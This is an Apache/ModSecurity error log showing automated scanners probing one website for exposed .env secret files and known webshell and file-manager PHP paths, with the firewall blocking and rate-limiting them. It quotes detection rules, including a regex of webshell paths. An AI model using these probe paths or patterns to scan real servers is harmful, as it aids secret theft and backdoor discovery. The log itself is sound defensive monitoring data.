[Sat May 23 01:07:27.169333 2026] [:error] [pid 15585:tid 15663] [client 3.138.195.162:42574] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.development"] [unique_id "ahCNTyKb-vB41AF-LC3FtQAAAJA"]
[Sat May 23 01:07:27.996322 2026] [:error] [pid 15583:tid 15590] [client 3.138.195.162:42616] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.test"] [unique_id "ahCNT3naOncRcIm17YVoCAAAAAI"]
[Sat May 23 01:07:28.832938 2026] [:error] [pid 15583:tid 15588] [client 3.138.195.162:42670] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.remote"] [unique_id "ahCNUHnaOncRcIm17YVoEQAAAAA"]
[Sat May 23 01:07:29.659381 2026] [:error] [pid 58782:tid 58787] [client 3.138.195.162:42736] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "ahCNUYxsdTFafgO8vhRLTQAAAQM"]
[Sat May 23 03:38:28.007347 2026] [:error] [pid 27264:tid 27290] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat May 23 03:38:28.201364 2026] [:error] [pid 27264:tid 27275] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/sx_pms.php
[Sat May 23 03:38:28.412354 2026] [:error] [pid 27264:tid 27273] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Sat May 23 03:38:28.710945 2026] [:error] [pid 27264:tid 27283] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/000.php
[Sat May 23 03:38:28.940409 2026] [:error] [pid 27264:tid 27279] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-test.php
[Sat May 23 03:38:29.132057 2026] [:error] [pid 27264:tid 27281] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/like.php
[Sat May 23 03:38:29.426217 2026] [:error] [pid 27264:tid 27269] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/we.php
[Sat May 23 03:38:29.809048 2026] [:error] [pid 27264:tid 27286] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sat May 23 03:38:30.006955 2026] [:error] [pid 27264:tid 27282] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-indx.php
[Sat May 23 03:38:30.228561 2026] [:error] [pid 27264:tid 27284] [client 135.119.49.97:38304] File does not exist: /usr/local/apache/htdocs/suspended-page/zoo.php
[Sat May 23 03:38:30.416269 2026] [:error] [pid 27264:tid 27288] [client 135.119.49.97:38304] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-spm.php"] [unique_id "ahCwtojkD2ofD64x_FIAQQAAARU"]
[Sat May 23 03:38:31.112746 2026] [:error] [pid 27006:tid 27157] [client 135.119.49.97:38304] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-spm.php"] [unique_id "ahCwt9JqLGUu70Sx73LpwgAAAJU"]
[Sat May 23 03:38:32.588146 2026] [:error] [pid 27003:tid 27106] [client 135.119.49.97:38310] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-spm.php"] [unique_id "ahCwuNEtyIz9MjD2rfGk-QAAABg"]
[Sat May 23 03:38:33.335476 2026] [:error] [pid 27195:tid 27201] [client 135.119.49.97:38658] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-spm.php"] [unique_id "ahCwucKMg7Xvk9QHTnNxJAAAAMM"]
[Sat May 23 03:38:34.335877 2026] [:error] [pid 27003:tid 27099] [client 135.119.49.97:64755] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahCwutEtyIz9MjD2rfGlAAAAABE"]
[Sat May 23 03:38:34.966101 2026] [:error] [pid 27006:tid 27151] [client 135.119.49.97:32998] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahCwutJqLGUu70Sx73LpygAAAI8"]
[Sat May 23 03:38:36.193781 2026] [:error] [pid 27006:tid 27139] [client 135.119.49.97:35327] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahCwvNJqLGUu70Sx73Lp0AAAAIM"]
[Sat May 23 03:38:37.172333 2026] [:error] [pid 27006:tid 27159] [client 135.119.49.97:64726] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahCwvdJqLGUu70Sx73Lp1QAAAJc"]
[Sat May 23 03:38:39.937449 2026] [:error] [pid 27006:tid 27138] [client 135.119.49.97:38279] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "ahCwv9JqLGUu70Sx73Lp2gAAAII"]
[Sat May 23 03:38:43.700267 2026] [:error] [pid 29444:tid 29461] [client 135.119.49.97:31094] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "ahCww2Ovwz-t4fgB31dd7gAAAAE"]
[Sat May 23 03:38:45.125887 2026] [:error] [pid 29444:tid 29476] [client 135.119.49.97:28969] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "ahCwxWOvwz-t4fgB31dd9wAAABA"]
[Sat May 23 03:38:46.419821 2026] [:error] [pid 29444:tid 29477] [client 135.119.49.97:28971] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "ahCwxmOvwz-t4fgB31dd-QAAABE"]
[Sat May 23 03:38:47.475334 2026] [:error] [pid 29445:tid 29488] [client 135.119.49.97:32963] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ahCwx_n7N6GsYPEAo4byDgAAAEE"]
[Sat May 23 03:38:49.439380 2026] [:error] [pid 29446:tid 29523] [client 135.119.49.97:35317] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ahCwydd0ndjCXqQN-f1CuwAAAIk"]
[Sat May 23 03:38:51.472324 2026] [:error] [pid 29446:tid 29530] [client 135.119.49.97:31074] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ahCwy9d0ndjCXqQN-f1CvAAAAJA"]
[Sat May 23 03:38:52.489664 2026] [:error] [pid 29444:tid 29469] [client 135.119.49.97:64735] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ahCwzGOvwz-t4fgB31deBQAAAAk"]
[Sat May 23 03:38:53.322161 2026] [:error] [pid 29445:tid 29493] [client 135.119.49.97:35979] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ahCwzfn7N6GsYPEAo4byEQAAAEY"]
[Sat May 23 03:38:56.937697 2026] [:error] [pid 29445:tid 29498] [client 135.119.49.97:36025] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ahCw0Pn7N6GsYPEAo4byEwAAAEs"]
[Sat May 23 03:38:58.794409 2026] [:error] [pid 29444:tid 29465] [client 135.119.49.97:31870] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ahCw0mOvwz-t4fgB31deEAAAAAU"]
[Sat May 23 03:39:02.272484 2026] [:error] [pid 29446:tid 29514] [client 135.119.49.97:31828] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ahCw1td0ndjCXqQN-f1C3wAAAIA"]
[Sat May 23 03:39:03.356634 2026] [:error] [pid 29542:tid 29558] [client 135.119.49.97:29730] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "ahCw1_-l7MzCzdhTvQaqMwAAAM4"]
[Sat May 23 03:39:04.368543 2026] [:error] [pid 29542:tid 29563] [client 135.119.49.97:32960] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "ahCw2P-l7MzCzdhTvQaqNwAAANM"]
[Sat May 23 03:39:07.577658 2026] [:error] [pid 29446:tid 29514] [client 135.119.49.97:28974] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "ahCw29d0ndjCXqQN-f1C6QAAAIA"]
[Sat May 23 03:39:09.222963 2026] [:error] [pid 29445:tid 29507] [client 135.119.49.97:38685] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "ahCw3fn7N6GsYPEAo4byHwAAAFQ"]
[Sat May 23 03:39:10.174941 2026] [:error] [pid 29542:tid 29544] [client 135.119.49.97:64267] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "ahCw3v-l7MzCzdhTvQaqRgAAAMA"]
[Sat May 23 03:39:12.224893 2026] [:error] [pid 29444:tid 29460] [client 135.119.49.97:31865] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "ahCw4GOvwz-t4fgB31deGAAAAAA"]
[Sat May 23 03:39:15.783310 2026] [:error] [pid 29445:tid 29487] [client 135.119.49.97:28932] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "ahCw4_n7N6GsYPEAo4byJwAAAEA"]
[Sat May 23 03:39:17.335832 2026] [:error] [pid 29542:tid 29549] [client 135.119.49.97:64292] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "ahCw5f-l7MzCzdhTvQaqUAAAAMU"]
[Sat May 23 03:39:18.814940 2026] [:error] [pid 29445:tid 29506] [client 135.119.49.97:35304] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ahCw5vn7N6GsYPEAo4byKgAAAFM"]
[Sat May 23 03:39:20.191320 2026] [:error] [pid 29542:tid 29547] [client 135.119.49.97:32974] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ahCw6P-l7MzCzdhTvQaqVgAAAMM"]
[Sat May 23 03:39:21.791662 2026] [:error] [pid 29444:tid 29461] [client 135.119.49.97:31111] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ahCw6WOvwz-t4fgB31deIgAAAAE"]
[Sat May 23 03:39:23.917549 2026] [:error] [pid 29542:tid 29559] [client 135.119.49.97:64550] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ahCw6_-l7MzCzdhTvQaqWQAAAM8"]
[Sat May 23 03:39:25.992222 2026] [:error] [pid 29542:tid 29546] [client 135.119.49.97:29422] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ahCw7f-l7MzCzdhTvQaqagAAAMI"]
[Sat May 23 03:39:28.742220 2026] [:error] [pid 29542:tid 29554] [client 135.119.49.97:5335] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ahCw8P-l7MzCzdhTvQaqcwAAAMo"]
[Sat May 23 03:39:30.709887 2026] [:error] [pid 29444:tid 29465] [client 135.119.49.97:63515] File does not exist: /usr/local/apache/htdocs/suspended-page/11.php
[Sat May 23 03:39:30.901703 2026] [:error] [pid 29444:tid 29474] [client 135.119.49.97:63515] File does not exist: /usr/local/apache/htdocs/suspended-page/77.php
[Sat May 23 03:39:31.093669 2026] [:error] [pid 29444:tid 29466] [client 135.119.49.97:63515] File does not exist: /usr/local/apache/htdocs/suspended-page/x402.php
[Sat May 23 03:39:32.547382 2026] [:error] [pid 29444:tid 29466] [client 135.119.49.97:63515] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sat May 23 03:39:32.743209 2026] [:error] [pid 29444:tid 29462] [client 135.119.49.97:63515] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sat May 23 03:39:32.937826 2026] [:error] [pid 29444:tid 29461] [client 135.119.49.97:63515] [client 135.119.49.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "ahCw9GOvwz-t4fgB31deLQAAAAE"]
[Sat May 23 03:39:35.023800 2026] [:error] [pid 29444:tid 29464] [client 135.119.49.97:28639] File does not exist: /usr/local/apache/htdocs/suspended-page/w.php
[Sat May 23 03:39:35.234909 2026] [:error] [pid 29444:tid 29476] [client 135.119.49.97:28639] File does not exist: /usr/local/apache/htdocs/suspended-page/test1.php
[Sat May 23 03:39:35.427060 2026] [:error] [pid 29444:tid 29469] [client 135.119.49.97:28639] File does not exist: /usr/local/apache/htdocs/suspended-page/tires.php
[Sat May 23 03:39:35.666966 2026] [:error] [pid 29444:tid 29478] [client 135.119.49.97:28639] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Sat May 23 03:39:35.873282 2026] [:error] [pid 29444:tid 29473] [client 135.119.49.97:28639] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Sat May 23 03:39:36.064610 2026] [:error] [pid 29444:tid 29467] [client 135.119.49.97:28639] File does not exist: /usr/local/apache/htdocs/suspended-page/cu.php
[Sat May 23 03:39:36.333081 2026] [:error] [pid 29444:tid 29480] [client 135.119.49.97:28639] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "ahCw-GOvwz-t4fgB31deNQAAABQ"]
[Sat May 23 03:39:39.433025 2026] [:error] [pid 30269:tid 30274] [client 135.119.49.97:5319] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "ahCw-776D_Os3EFB67CIDAAAAIE"]
[Sat May 23 03:39:42.518260 2026] [:error] [pid 30269:tid 30291] [client 135.119.49.97:20238] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "ahCw_r76D_Os3EFB67CIQQAAAJI"]
[Sat May 23 03:39:43.625618 2026] [:error] [pid 30366:tid 30368] [client 135.119.49.97:30595] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "ahCw_4vyrqclk5U3UnS2MAAAAUA"]
[Sat May 23 03:39:45.545541 2026] [:error] [pid 30337:tid 30349] [client 135.119.49.97:36393] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "ahCxAevBcBevG0QiH48tZQAAAQo"]
[Sat May 23 03:39:50.640798 2026] [:error] [pid 30366:tid 30370] [client 135.119.49.97:28647] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "ahCxBovyrqclk5U3UnS2SwAAAUI"]
[Sat May 23 03:39:52.303025 2026] [:error] [pid 30271:tid 30309] [client 135.119.49.97:5313] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "ahCxCJ3WaQ7jGAJY8Oi-vwAAAMk"]
[Sat May 23 03:39:54.281937 2026] [:error] [pid 30366:tid 30372] [client 135.119.49.97:36360] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "ahCxCovyrqclk5U3UnS2VQAAAUQ"]
[Sat May 23 03:39:55.437088 2026] [:error] [pid 30366:tid 30392] [client 135.119.49.97:28609] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "ahCxC4vyrqclk5U3UnS2XAAAAVg"]
[Sat May 23 03:39:57.104386 2026] [:error] [pid 30366:tid 30375] [client 135.119.49.97:36399] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "ahCxDYvyrqclk5U3UnS2YAAAAUc"]
